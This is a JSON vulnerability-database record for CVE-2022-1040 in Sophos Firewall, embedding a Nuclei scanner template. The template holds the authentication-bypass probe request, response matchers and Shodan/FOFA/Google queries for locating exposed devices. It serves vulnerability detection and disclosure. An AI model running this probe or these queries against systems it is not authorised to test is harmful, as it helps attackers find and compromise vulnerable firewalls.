{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2022-1040/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2022-1040/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2022-1040/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2022-1040/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2022-1040/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2022-1040"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2022-1040"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2022/CVE-2022-1040.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2022-1040\n\ninfo:\n  name: Sophos Firewall <=18.5 MR3 - Remote Code Execution\n  author: For3stCo1d\n  severity: critical\n  description: |\n    Sophos Firewall version v18.5 MR3 and older contains an authentication bypass vulnerability in the User Portal and Webadmin which could allow a remote attacker to execute code.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system, potentially leading to complete compromise of the firewall.\n  remediation: |\n    Upgrade to a patched version of Sophos Firewall (>=18.5 MR4) to mitigate this vulnerability.\n  reference:\n    - https://github.com/killvxk/CVE-2022-1040\n    - https://github.com/CronUp/Vulnerabilidades/blob/main/CVE-2022-1040_checker\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-1040\n    - https://www.sophos.com/en-us/security-advisories/sophos-sa-20220325-sfos-rce\n    - https://github.com/Mr-xn/Penetration_Testing_POC\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2022-1040\n    cwe-id: CWE-287\n    epss-score: 0.99796\n    epss-percentile: 0.99957\n    cpe: cpe:2.3:o:sophos:sfos:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: sophos\n    product: sfos\n    shodan-query:\n      - http.title:\"Sophos\"\n      - http.title:\"sophos\"\n    fofa-query: title=\"sophos\"\n    google-query: intitle:\"sophos\"\n  tags: cve,cve2022,sophos,firewall,auth-bypass,rce,kev,vkev,vuln\n\nhttp:\n  - method: POST\n    path:\n      - \"{{BaseURL}}/userportal/Controller?mode=8700&operation=1&datagrid=179&json={\\\"🦞\\\":\\\"test\\\"}\"\n\n    headers:\n      X-Requested-With: \"XMLHttpRequest\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"{\\\"status\\\":\\\"Session Expired\\\"}\"\n\n      - type: word\n        part: header\n        words:\n          - \"Server: xxxx\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100c439b2efb98d28aac10e262f00965d0520e0e651348784e1381e41b44f199e77022074a53f984316b6e3e232a9370538f8456a0e8af12d4f089e0c0604a211dc3344:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2022-1040"
}